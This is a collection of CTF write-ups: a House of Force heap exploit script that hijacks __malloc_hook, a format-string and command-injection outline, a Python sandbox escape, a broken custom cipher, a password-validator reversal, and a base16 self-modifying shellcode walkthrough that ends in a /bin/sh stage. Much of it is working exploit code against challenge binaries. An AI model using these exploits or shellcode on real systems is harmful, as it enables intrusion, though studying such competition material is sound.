def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
def main(): io = start()
#=========================================================== # Helper Functions #===========================================================
def send(data): io.sendline(data)
def recv(): io.recvline()
def malloc(size, data): recv(b'Team size >>> ') send(b"%i" % size) recv(b'Team motto >>> ') send(data)
#=========================================================== # Leak Functions #===========================================================
def leakAddr(): io.recvuntil(b'<<< Team data stored securely at : ') heap_addr = int(io.recvuntil(b'\n').rstrip(), 16) return heap_addr
def leakLibc(): io.recvuntil(b'<<< Random identifier for motto : ') rand_addr = int(io.recvuntil(b'\n').rstrip(), 16) libc.address = rand_addr - libc.sym.rand return libc.address
#=========================================================== # House of Force Functions #===========================================================
def overwriteWildernessSize(bufferSize, newSize): padding = b'A' * (0x10) targetSize = p64(newSize, signed=True) * 2 payload = padding + targetSize malloc(bufferSize, payload) return len(payload)
def setTopChunk(target, currHeapSize, heapAddr, data, offset=0x10): distanceFromTarget = target - heapAddr - currHeapSize - offset # offsetting by 0x10 to account for metadata malloc(distanceFromTarget, data) return(leakAddr()) # return data address
def overwriteAddress(bufferSize, addr): malloc(size, p64(addr))
#=========================================================== # Exploit #===========================================================
# ---------------------------------------------------------- info("1/4 -- Overflow and change the wilderness size") currHeapSize = overwriteWildernessSize(0, -1)
info(f"HEAP Address: {hex(heapAddr := leakAddr())}") info(f"LIBC Base Address: {hex(leakLibc())}") info(f"Heap size: {hex((currHeapSize))}") info(f"Top Chunk: {hex(heapAddr + currHeapSize)}") # -----------------------------------------------------------
# ----------------------------------------------------------- info("2/4 -- Set malloc_hook as top chunk") cmdAddr = setTopChunk(libc.sym['__malloc_hook'], currHeapSize, heapAddr, b"/bin/ls;IFS=:;a=cat:flag.txt;$a") # -----------------------------------------------------------
# ----------------------------------------------------------- info("3/4 -- Over malloc_hook with do_system()") overwriteAddress(24, (libc.sym.do_system)) # -----------------------------------------------------------
# ----------------------------------------------------------- info("4/4 -- Pass command as parameter to do_system()") malloc(systemAddr, b"")
ctrl()
if __name__ == "__main__": main()``` |
* Use `;)` to login as user and pass* Use `bkdr` command to trigger a format string* Overwrite stack variable to enable `list` command* User command injection in `popen` used by `list` to get code execution
[Writeup](https://fascinating-confusion.io/posts/2022/07/htb-business-ctf-22-insider-writeup/) |
# Lo4j writeup
Here is my writeup i hope you enjoy it :)
[https://github.com/FarhadAlimohammadi-dir/Google-CTF-2022-Writeups](https://github.com/FarhadAlimohammadi-dir/Google-CTF-2022-Writeups) |
The explanation for this solution is in [the original write-up](https://ajmalsiddiqui.me/ctf-writeups/google-ctf-2022-treebox/).
```pythonsys.stderr = sys.stdout
FileIO = sys.modules['io'].FileIO
class FlagIO(FileIO): def __init__(self, fn): pass
FlagIO.__eq__ = FileIO.__init__
@FlagIOdef hello(): pass
hello == "./flag"
flag = [a for a in hello]
assert False, flag--END``` |
# DIY Crypto
Category: crypto
Files: A python script "crypt.py" and a ciphertext file "crypted.txt"
---### Solution:I began by analyzing the `crypt.py` script, which i assumed was used to generate `crypted.txt`. The core encryption process started in line 38:```pythonfh = open("plaintext.txt", 'rb')plaintext = fh.read()fh.close()
BLOCK_SIZE = 16plaintext_padded = plaintext + (BLOCK_SIZE - (len(plaintext) % BLOCK_SIZE)) * b'\x00'
random_key = bytes([random.randrange(0, 256) for _ in range(0, 16)])
block_count = int(len(plaintext_padded) / 16)
print("encrypting %d blocks..." % block_count)print("using key %s" % random_key.hex())
cur_key = random_key
crypted = b""
for i in range(block_count): block = plaintext_padded[i*16:i*16 + 16] crypted += crypt_block(block, cur_key) cur_key = rotate_key_left(cur_key) print("writing crypted to file...")fh = open("crypted.txt", 'wb')fh.write(crypted)fh.close()```The `plaintext.txt` file was read as bytes and padding was appended to it to a multiple of 16 bytes (block size). Afterwards, a random 16 byte key was generated.The actual encryption loop present in `crypt.py` in lines 56-59 used the `crypt_block()` and `rotate_key_left()` functions, which looked like this:```python# AES is supposed to be good? We can steal their sbox then.sbox = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, # ... many more constants)
# easy key schedulingdef rotate_key_left(key): tmp = bytearray(key[1:]) tmp.append(key[0]) return bytes(tmp)
# easy cryptodef crypt_block(block, key): global sbox retval = bytearray() for i in range(0,16): retval.append(sbox[block[i] ^ key[i]]) return bytes(retval)```The `rotate_key_left()` function simply took a 16-byte array (the key) and rotated it to the left, with the first element becoming the last.The `crypt_block()` function first XORed each byte of the current block with corresponding byte of the key, and then used the AES S-BOX to subsitute the value with one from the list.
Overall, each byte of the ciphertext was the result of using an S-BOX on a XOR of a key byte and a plaintext byte. Since the value was not modified anyhow after being passed through the S-BOX, defeating it was as simple as defining an inverse S-BOX function in my `solve.py` script and passing the entirety of the ciphertext through it:```pythonsbox = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, # ... same constants as crypt.py)
# A very simple inverse S-BOXdef inv_sbox(val): return sbox.index(val & 0xff) & 0xff
# A function which applies the inverse S-BOX to each byte of a blockdef reverse_sbox_block(block): retval = bytearray() for i in range(0, 16): retval.append(inv_sbox(block[i])) return bytes(retval)
fh = open("crypted.txt", 'rb')ciphertext = fh.read()fh.close()
BLOCK_SIZE = 16
block_count = int(len(ciphertext) / 16)
print("decrypting %d blocks..." % block_count)
pxork_blocks = []
for i in range(block_count): block = ciphertext[i*16:i*16 + 16] pxork_blocks.append(reverse_sbox_block(block))```After reading the bytes of `crypted.txt`, splitting them into blocks and passing each block through the inverse S-BOX i was left with a list of plaintext blocks each XORed with the same key (rotated by different amounts). What came in handy then was the fact that padding in `crypt.py` was made out of zero-value bytes. This meant that most likely some bytes of the last plaintext block were equal to zero. When XORed with the key, the corresponding bytes of ciphertext were set to the bytes of the key, which would allow me to leak part of it.I created some functions which allowed me to rotate blocks by any number of positions to the left or right and XORed each block with the last (`pxork_blocks[-1]`) with correct rotations. Afterwards i printed the results:```pythondef rotate_block_left(key): tmp = bytearray(key[1:]) tmp.append(key[0]) return bytes(tmp)
def rotate_block_left_n(block, n): for _ in range(0, n): block = rotate_block_left(block)
return block
def rotate_block_right(block): tmp = bytearray(block[:-1]) tmp.insert(0, block[-1]) return bytes(tmp)
def rotate_block_right_n(block, n): for _ in range(0, n): block = rotate_block_right(block)
return block
def xor_blocks(b1, b2): return bytes([ a ^ b for (a, b) in zip(b1, b2) ])
for i in range(len(pxork_blocks), 2, -1): partially_decrypted_block = xor_blocks(rotate_block_left_n(pxork_blocks[-i], i - 1), pxork_blocks[-1])
partially_decrypted_block = rotate_block_right_n(partially_decrypted_block, i - 1) print(partially_decrypted_block)```Since part of the last block was equal to the key, part of each block became decrypted (equal to the plaintext) which looed like this:```[msaw328]$ python solve.py decrypting 581 blocks...b'FromE\x11Ocrest cre'b'atu\x17\x12]*we desire'b' i\x0b\x14\\oase,\nThat 'b"t\r\x12\\oby beauty's"b'E\x05Aye might neve'b'\x05\x0enie,\nBut as t\r'b'K*riper shouldE\x15'b's time deceas\x00[$'b'His tender h\x00\x1e\\*'b'might bear \r\x1e]*m'
< ... many more blocks to come ... >```By looking at the output, i could see english words forming some kind of a text in english. After googling the visible parts of two first blocks i found it:

It was a piece called *"From fairest creatures we desire increase (Sonnet 1)"* by William Shakespear. Now i knew the contents of the first block, which i assumed were equal to the first 16 characters of the piece. this allowed me to find the entirety of the key:```pythonfound_first_plaintext_block = b'From fairest cre'
key = xor_blocks(found_first_plaintext_block, pxork_blocks[0])
print('found key:', key)```
Using the leaked key i was able to decrypt remaining parts of the ciphertext, remove the padding bytes from the end and write the result to a file:```pythonplaintext = b''
cur_key = bytes(key)
for block in pxork_blocks: plaintext += xor_blocks(cur_key, block) cur_key = rotate_block_left(cur_key)
open('recovered_plaintext.txt', 'w').write(plaintext.rstrip(b'\x00').decode())```
Afterwards, i found the flag inserted between two lines of the poem:```[msaw328]$ grep -A1 -B1 flag recovered_plaintext.txtThey do but sweetly chide thee, who confoundsflag{cRyt0_aNalys1s_101}In singleness the parts that thou shouldst bear:```
### Flag: `flag{cRyt0_aNalys1s_101}` |
The only function used to validate password does 3 checks, our goal isto make it return True, means, pass 3 checks.
```pydef validate(password: str) -> bool: if len(password) != 49: return False
key = ['vs'.join(str(randint(7, 9)) for _ in range(ord(i))) + 'vs' for i in password[::-2]] gate = [118, 140, 231, 176, 205, 480, 308, 872, 702, 820, 1034, 1176, 1339, 1232, 1605, 1792, 782, 810, 1197, 880, 924, 1694, 2185, 2208, 2775] if [randint(a, b[0]) for a, b in enumerate(zip(gate, key), 1) if len(b[1]) != 3 * (b[0] + 7 * a) // a]: return False
hammer = {str(a): password[a] + password[a + len(password) // 2] for a in range(1, len(password) // 2, 2)} block = b'c3MxLnRkMy57XzUuaE83LjVfOS5faDExLkxfMTMuR0gxNS5fTDE3LjNfMTkuMzEyMS5pMzIz' if b64encode(b'.'.join([((b + a).encode()) for a, b in hammer.items()])) != block: return False
return True```
Firstly, password must has length of 49```py if len(password) != 49: return False```
Secondly, it must not return False here
```pykey = ['vs'.join(str(randint(7, 9)) for _ in range(ord(i))) + 'vs' for i in password[::-2]]gate = [118, 140, 231, 176, 205, 480, 308, 872, 702, 820, 1034, 1176, 1339, 1232, 1605, 1792, 782, 810, 1197, 880, 924, 1694, 2185, 2208, 2775]if [randint(a, b[0]) for a, b in enumerate(zip(gate, key), 1) if len(b[1]) != 3 * (b[0] + 7 * a) // a]: return False```
This is a great example of when list comprehension be over-used/abused, thecode become hard to read.
To not return False, the condition after if must be an empty list.
```py[randint(a, b[0]) for a, b in enumerate(zip(gate, key), 1) if len(b[1]) != 3 * (b[0] + 7 * a) // a]```
means all the items have to fail the condition `if len(b[1]) != 3 * (b[0] + 7 * a) // a`,or, all of them must satisfy `len(b[1]) == 3 * (b[0] + 7 * a) // a`.
`for a, b in enumerate(zip(gate, key), 1)`, a is index, starts from 1,b is a tuple of nth elements from gate and key, thus, b[0] is value from gate,b[1] is value from key. Since we have b[1] from gate and a, we can calculate b[0]to recover password[::-2].
```pyplen = 49password = [None] * plenhalf = [chr(3 * (g + 7 * a) // a //3) for a, g in enumerate(gate, 1)]password[::-2] = halfprint(''.join([k if k else '_' for k in password]))# v_c_f_T_3_3_F_4_5_w_r___n_i_e_Y_U_t_3_W_0_3_T_M_}```
We can see `vsctf{...}` format of the password, now get the other half:
```pyhammer = {str(a): password[a] + password[a + len(password) // 2] for a in range(1, len(password) // 2, 2)}block = b'c3MxLnRkMy57XzUuaE83LjVfOS5faDExLkxfMTMuR0gxNS5fTDE3LjNfMTkuMzEyMS5pMzIz'if b64encode(b'.'.join([((b + a).encode()) for a, b in hammer.items()])) != block: return False```
to make the condition not return False,`b64encode(b'.'.join([((b + a).encode()) for a, b in hammer.items()])) == block`or `[((b + a).encode()) for a, b in hammer.items()] = b64decode(block).split(b'.')`
```pyimport base64ps = base64.b64decode(block).split(b'.')# [b'ss1', b'td3', b'{_5', b'hO7', b'5_9', b'_h11', b'L_13', b'GH15', b'_L17', b'3_19', b'3121', b'i323']```
each element created by concatenate string b and a, which is value + key from hammer dict.Having each value are string of 2 chars: `password[a] + password[a + len(password) // 2]`,the remain is the index acts as key,we take out that value and key from the above list:
```pyhammer = {i[2:]: i[:2] for i in ps}# {b'1': b'ss', b'3': b'td', b'5': b'{_', b'7': b'hO', b'9': b'5_', b'11': b'_h', b'13': b'L_', b'15': b'GH', b'17': b'_L', b'19': b'3_', b'21': b'31', b'23': b'i3'}```
Rebuilding odd-th elements of password:
```pyfor k, v in hammer.items(): i = int(k) first, second = v password[i] = chr(first) password[i+plen//2] = chr(second)
print(''.join(password))```
Full solving code at [recovery_sol.py](https://github.com/pymivn/ctf/blob/main/2022-vsCTF/recovery_sol.py)
We got the flag: `vsctf{Th353_FL4G5_w3r3_inside_YOU_th3_WH0L3_T1M3}`. |
# 16-bit
### So Many XORs
The description for this challenge is as follows:
*During the ICC competition we where given a shellcoding challenge to make a base64 encoded shellcode, ie the shellcode could only consist of the characters "a-zA-Z0-9+/=", during an 8 hour ctf we completed it in about 1.5 hours. How long will it take you to create base16 shellcode?*
*Author: lms*
This was one of the harder pwn challenges in the competition, and was still worth 496 out of a possible 500 points by the end of the competition. In summary, it is a fairly fiddly shellcoding exercise that only allows the digits 0-9 and letters A-F. Originally, only the challenge binary was included, but the libc file was added in later on.
**TL;DR Solution:** Reverse-engineer the program enough to determine that it will take your input, encode it to base16, and execute it as shellcode. Try various combinations in the allowed character set with a disassembly to get a feel for the allowed instructions with a self-modifying shellcode in mind, and also examine the pre-existing state of registers in a debugger when the shellcode starts to be executed. Primarily use instructions of the type "xor al, 0x31;" to iterate rax up and down (rax points to the start of shellcode at the beginning), "xor dh, BYTE PTR [rax];" to edit the value of the dh register (always starts as null), and "xor BYTE PTR [rax], dh;" to edit the value to which rax is pointing, accomplishing the self-modifying component. Add in "xor byte PTR [rax], bh;" to edit bytes to be larger than 0x7f with 1/16 odds of success. Use this methodology to create an 8-byte read shellcode that takes advantage of existing values in rsi and rdx to take input from the terminal and write to the shellcode area, and use that to load in a full execve('/bin/sh') shellcode.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/CyberOpen22/16-bit
## Gathering Information
The description is already fairly explicit about the expectations for this challenge, but it is still worth determining exactly how the binary works. If I just run the program and input all a's, I get a segmentation fault with no additional context.```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ ./16_bitData:aaaaaaaaaaaaaaaaaaaaaaaaSegmentation fault```If we open up the program in Ghidra, it looks like our shellcode is getting loaded into an mmapped rwx section at a static location, run through some sort of encoding function, and executed. Based on the challenge, we can probably safely assume that the encoding in question is base16.```undefined8 main(void)
{ void *pvVar1; setup(); pvVar1 = mmap((void *)0x133713370000,0x1000,7,0x32,-1,0); if (pvVar1 != (void *)0x133713370000) { puts("mmap failed"); /* WARNING: Subroutine does not return */ exit(-1); } /* read into static location */ read(0,(void *)0x133713370000,100); encode(0x133713370000); (*(code *)0x133713370000)(); return 0;}```We can further confirm this in GDB by setting a breakpoint at the point where the shellcode address is called: a set of ten a's and a newline is turned into "616161616161616161610A" followed by a lot of 0's that are presumably encoded nulls. This also shows that the alphabet component is uppercase, not lowercase.```0x555555555439 <main+136> mov rdi, rax 0x55555555543c <main+139> call 0x555555555258 <encode> 0x555555555441 <main+144> mov rax, QWORD PTR [rbp-0x10] â 0x555555555445 <main+148> call rax 0x555555555447 <main+150> mov eax, 0x0 0x55555555544c <main+155> leave 0x55555555544d <main+156> ret 0x55555555544e xchg ax, ax 0x555555555450 <__libc_csu_init+0> push r15âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ arguments (guessed) ââââ*0x133713370000 ( $rdi = 0x00007fffffffdfa0 â "aaaaaaaaaa\n")âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ[#0] Id 1, Name: "16_bit", stopped 0x555555555445 in main (), reason: BREAKPOINTâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ[#0] 0x555555555445 â main()ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââgef†x/s $rax0x133713370000: "616161616161616161610A", '0' <repeats 178 times>gefâ€```At this point, we can also examine the pre-existing register values, since this tends to be very helpful in restricted shellcode scenarios. In particular, rax, rsi, and rdx all seem to be based on the shellcode area. ```gef†info registersrax 0x133713370000 0x133713370000rbx 0x555555555450 0x555555555450rcx 0x555555558060 0x555555558060rdx 0x1337133700c6 0x1337133700c6rsi 0x133713370000 0x133713370000rdi 0x7fffffffdfa0 0x7fffffffdfa0rbp 0x7fffffffe050 0x7fffffffe050rsp 0x7fffffffe040 0x7fffffffe040r8 0xffffffff 0xffffffffr9 0x0 0x0r10 0x5555555545a9 0x5555555545a9r11 0x7ffff7f505f0 0x7ffff7f505f0r12 0x5555555550b0 0x5555555550b0r13 0x7fffffffe140 0x7fffffffe140r14 0x0 0x0r15 0x0 0x0rip 0x555555555445 0x555555555445 <main+148>eflags 0x202 [ IF ]cs 0x33 0x33ss 0x2b 0x2bds 0x0 0x0es 0x0 0x0fs 0x0 0x0gs 0x0 0x0```Now, since this is a very restricted environment, we probably want to keep the shellcode to be executed as short and simple as possible. One great way to do that is by doing a read into the shellcode area, which can typically be done in far fewer bytes than a full execve(/bin/sh) shellcode, which can be input later when the read is called. In this case, the read call also only needs to have rdi and rax modified, since rsi is pointing toward to the shellcode area and rdx is a large, non-negative number. As a result, our goal shellcode is:```xor rdi, rdi;xor rax, rax;syscall;```Which compiles to an eight-byte long `H1\xffH1\xc0\x0f\x05`
## Selecting Useful Instructions
My methodology for finding assembly instructions for this challenges was to use pwntools in a python console to disassemble test combinations of the allowed bytes and see what assembly instructions they correspond to. In hindsight, I could have done better since I basically decided I had enough instructions after testing two-byte instructions and did not find any useful three-byte instructions in my handful of tests; in future, I would recommend actually scripting out something to test all possible combinations up to some number of bytes in order to avoid missing something important, since I have since learned that three-byte instructions that would have been helpful do exist.```>>> from pwn import *>>> context.clear(arch='amd64')>>> disasm(b'0')' 0: 30 .byte 0x30'>>>```Of the instructions that I was able to find, here are the ones that stuck out the most. In particular, operations involving the rax register stuck out as very interesting because the register is pre-populated with the shellcode's starting address, I can edit the low byte (al register) by XORing it with one of our allowed characters in order to adjust the byte of shellcode to which it is pointing, I am able to edit the byte to which rax is pointing by XORing it with the dh or bh register (second lowest byte of rdx and rbx respectively), and I am also able to use the byte to which rax is pointing in order to edit the dh or bh registers themselves. ```disasm(b'40')' 0: 34 30 xor al, 0x30'>>> disasm(b'00')' 0: 30 30 xor BYTE PTR [rax], dh'>>> disasm(b'08')' 0: 30 38 xor BYTE PTR [rax], bh'>>> disasm(b'20')' 0: 32 30 xor dh, BYTE PTR [rax]'>>> disasm(b'28')' 0: 32 38 xor bh, BYTE PTR [rax]'```For an additional bit of context, since rdx is always pointing to the same, static shellcode location, dh has a constant starting value of 0x0 (from 0x1337133700c6). On the other hand, rbx points to a PIE value. Since bh is the second lowest byte, its lowest nibble is one of the lowest three nibbles in the address, which will be a constant value (in this case, 4); however, its higher nibble can have any one of 16 values. As a result, I held off on using bh as long as possible until I realized that if I did not use it, I could only modify bytes to values that you can obtain by XORing combinations of 0x30-0x39 and 0x41-0x46. If you convert those numbers to 8-bit binary, the highest bit will never be set, so XORing cannot create bytes where the highest bit, so we can't make shellcode with bytes like 0xff or 0xc0, which exist in our target shellcode. As a result, I either had to edit my target shellcode to only use more achievable bytes, risking making my shellcode too long since I only have about 200 bytes, finding additional instructions, or using the bh register with an assumed value that will be hit 1/16 times; I opted for the latter.
To clarify, my shellcode modification methodology basically boils down to:
#1. Use instructions like `xor al, 0x30` to make rax point to specific bytes.
#2. Use the byte to which rax is pointing to edit dh or bh with instructions like `xor dh, BYTE PTR [rax]`
#3. Use something like `xor al, 0x30` again to point rax at another byte.
#4. Actually edit the byte to which rax is pointing using something like `xor BYTE PTR [rax], dh`
Some steps in that outline may get repeated depending on how many XORs are needed to get the desired byte written given our selection of bytes. I ended up placing the bytes to be edited at an offset of 0x70 since that was relatively simple to get rax pointed at (i.e. 0x70 = 0x41 ^ 0x31). I also opted to place some valid instructions chosen primarily for the bytes that they contain around 0x30 in order to make it easier to xor dh or bh with various bytes based on the value to which rax is pointing.
I also used sequences of 60's as a stand-in for NOPs in order to get through some of the spaces between areas of my shellcode. This creates `the xor BYTE PTR [rsi], dh`, which is relatively harmless; this padding simply needs to be of an even length.
## Writing the Shellcode
### Writing 0x48
With all that in mind, we can start writing the full shellcode! As a refresher, we want to write the bytes `H1\xffH1\xc0\x0f\x05` 0x70 bytes from the start of the shellcode area. On the bright side, this code contains two 1's, which are actually allowed bytes that I don't have to edit!
I opted to start with the H's, and did both of them at once for a slight efficiency gain. H = 0x48, and 0x48 = 0x41 ^ 0x30 ^ 0x39. As a result, the plan here was:
#1. Strategically pre-populate certain offsets with useful bytes. Specifically, I put `xor dh, BYTE PTR [rax]; xor al, 0x39;`, or `2049`, at offset 0x30 to get easy access to bytes 0x30 and 0x39, and 0x41 at offsets 0x70 and 0x73 (as well as 0x31's at 0x71 and 0x74) so that they can be transformed into 0x48's more easily.
#2. Get rax pointed at a 0x39 byte (note the specific sequence of byte values doesn't really matter)
#3. XOR dh with that value. dh starts at null, so it will just equal 0x39 now.
#4. Move rax to pointing at a 0x30 byte.
#5. XOR dh with that byte. Now dh = 0x09.
#6. Move rax to pointing at the byte at offset 0x70.
#7. XOR dh (0x09) with the value at that offset 0x70 (0x41). Now it is 0x48!
#8. Move rax up to offset 0x73 and XOR that byte with dh again to get another 0x48.
Here is the shellcode to achieve this:```from pwn import *
target = process('./chal_patched') #, env={'LD_PRELOAD': 'libc_16bit.so.6'})
pid = gdb.attach(target, "\nb *main+148\n set disassembly-flavor intel\ncontinue")#target = remote('0.cloud.chals.io', 23261)context.clear(arch='amd64')import base64
#Write in the first Hshellcode = asm('''xor al, 0x33; xor dh, BYTE PTR [rax];xor al, 0x33;xor al, 0x31;xor dh, BYTE PTR [rax];xor al, 0x41;xor BYTE PTR [rax], dh;''')#Write in the second Hshellcode += asm('''xor al, 0x33;xor al, 0x30;xor BYTE PTR [rax], dh;''')
print(len(shellcode))shellcode += asm('xor BYTE PTR [rsi], dh;') * ((0x30 - len(shellcode)) // 2)shellcode += asm('''xor dh, BYTE PTR [rax]xor al, 0x39;''')
payload = base64.b16decode(shellcode + asm('xor BYTE PTR [rsi], dh;') * ((0x70 - len(shellcode)) // 2) + b'A' + b'10' + b'A' + b'1' + b'0' * 3)
print(payload)target.sendline(payload)
target.interactive()```And here is a GDB snippet showing the success off this operation:``` â 0x133713370014 xor BYTE PTR [rax], dh 0x133713370016 xor BYTE PTR [rax], dh 0x133713370018 xor BYTE PTR [rax], dh 0x13371337001a xor BYTE PTR [rax], dh 0x13371337001c xor BYTE PTR [rax], dh 0x13371337001e xor BYTE PTR [rax], dhâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ[#0] Id 1, Name: "chal_patched", stopped 0x133713370014 in ?? (), reason: SINGLE STEPâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ[#0] 0x133713370014 â xor BYTE PTR [rax], dh[#1] 0x55b7182c7447 â main()ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââgef†x/8bx 0x1337133700700x133713370070: 0x48 0x31 0x30 0x48 0x31 0x30 0x30 0x30```
### Writing 0xff and 0xc0:
The next byte to write is 0xff at offset 0x72. This introduces the necessity of finding a larger byte to add into the XOR operation, and I opted to use the bh register on the 1/16 odds that it equals 0xf4. Now, 0xff = 0xf4 ^ 0xb, and 0xb = 0x9 ^ 0x30 ^ 0x32; 0x9 is included since that is the pre-existing value in dh. This means that we can insert a relative short shellcode snippet can be inserted directly after the `xor BYTE PTR [rax], dh` instruction that writes the last H:```#Remember dh = 0x9 and al = 0x73 at this point.shellcode += asm('''xor al, 0x42;xor dh, BYTE PTR [rax];xor al, 0x43;xor BYTE PTR [rax], bh;xor BYTE PTR [rax], dh; ''')```We can confirm that this is working in GDB by manually setting bh to 0xf4 (`set $bh=0xf4`) before instructions involving that register. We now have an `xor rdi, rdi` instruction!``` 0x13371337001e xor BYTE PTR [rax], dh 0x133713370020 xor BYTE PTR [rax], dh 0x133713370022 xor BYTE PTR [rax], dh 0x133713370024 xor BYTE PTR [rax], dh 0x133713370026 xor BYTE PTR [rax], dh 0x133713370028 xor BYTE PTR [rax], dhâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ[#0] Id 1, Name: "chal_patched", stopped 0x13371337001e in ?? (), reason: SINGLE STEPâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ[#0] 0x13371337001e â xor BYTE PTR [rax], dh[#1] 0x55be9ed5a447 â main()ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââgef†x/8bx 0x1337133700700x133713370070: 0x48 0x31 0xff 0x48 0x31 0x30 0x30 0x30gef†x/i 0x133713370070 0x133713370070: xor rdi,rdi```From this point, writing 0xc0 at 0x75 is relatively simple. 0xc0 = 0xf4 ^ 0x34, so we can just prepopulate the offset with a 0x34, move rax over there, and XOR it with bh. So, just add:```shellcode += asm('''xor al, 0x30;xor al, 0x37;xor BYTE PTR [rax], bh;''')```And view the results in GDB. Now we have two out three instructions fully written!```â 0x133713370024 xor BYTE PTR [rax], dh 0x133713370026 xor BYTE PTR [rax], dh 0x133713370028 xor BYTE PTR [rax], dh 0x13371337002a xor BYTE PTR [rax], dh 0x13371337002c xor BYTE PTR [rax], dh 0x13371337002e xor BYTE PTR [rax], dhâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ[#0] Id 1, Name: "chal_patched", stopped 0x133713370024 in ?? (), reason: SINGLE STEPâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ[#0] 0x133713370024 â xor BYTE PTR [rax], dh[#1] 0x5625ff5c3447 â main()ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââgef†x/8bx 0x1337133700700x133713370070: 0x48 0x31 0xff 0x48 0x31 0xc0 0x30 0x30gef†x/2i 0x133713370070 0x133713370070: xor rdi,rdi 0x133713370073: xor rax,raxgefâ€```
### Writing Syscall
The bytes in syscall are also relatively simple to achieve, so it makes sense to focus on those next. 0x0f = 0x39 ^ 0x36 (dh is already set to 0x39), and 0x05 = 0x39 ^ 0xf 0x33 (just do an xor dh, BYTE PTR [rax] immediately after setting BYTE PTR [rax] to 0xf). At this point, I was quite close to the arbitrary bytes that I had place in the middle of my space, so I only had space for the 0x0f write before that. So, after that write, I have some instances of `xor BYTE PTR [rsi], dh;`, which should write to writeable memory whose content no longer matters, then the `xor dh, BYTE PTR [rax]; xor al, 0x39;`. The first instruction gets dh to the desired value, then I can just do some additional XORs to get rax to point at the desired spot, XOR it, and finish the syscall! The relevant portion of code is:```#Writing the 0x0f to 0x76:#Remember dh = 0x39 and al = 0x75 at this point.shellcode += asm('''xor al, 0x30;xor al, 0x33;xor BYTE PTR [rax], dh;''')#Writing the 0x05 to 0x77:#Remember dh = 0x39 and al = 0x75 at this point.
print(len(shellcode))shellcode += asm('xor BYTE PTR [rsi], dh;') * ((0x30 - len(shellcode)) // 2)shellcode += asm('''xor dh, BYTE PTR [rax]xor al, 0x39;''')
shellcode += asm('''xor al, 0x39;xor al, 0x30;xor al, 0x31;xor BYTE PTR [rax], dh;''')
payload = base64.b16decode(shellcode + asm('xor BYTE PTR [rsi], dh;') * ((0x70 - len(shellcode)) // 2) + b'A' + b'12' + b'A' + b'14' + b'63')```If we run the code, and set bh = 0xf4 in a debugger (or get lucky), we can see that we successfully trigger a read.```0x13371337006e xor BYTE PTR [rsi], dh 0x133713370070 xor rdi, rdi 0x133713370073 xor rax, rax â 0x133713370076 syscall 0x133713370078 xor BYTE PTR [rcx+0x30], al 0x13371337007b xor BYTE PTR [rax], dh 0x13371337007d xor BYTE PTR [rax], dh 0x13371337007f xor BYTE PTR [rax], dh 0x133713370081 xor BYTE PTR [rax], dhâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ[#0] Id 1, Name: "chal_patched", stopped 0x133713370076 in ?? (), reason: SINGLE STEPâââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ[#0] 0x133713370076 â syscall[#1] 0x556ffa0d7447 â main()ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââgefâ€...knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ python3 16_bit_writeup.py[+] Starting local process './chal_patched': pid 22654[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal_patched', '22654', '-x', '/tmp/pwnil9sxkp4.gdb'][+] Waiting for debugger: Done42b'C CA J\x00C@\x00K L\x08\x00@G\x08@C\x00\x06\x06\x06 II@A\x00\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\xa1*\x14c'[*] Switching to interactive modeData:$ 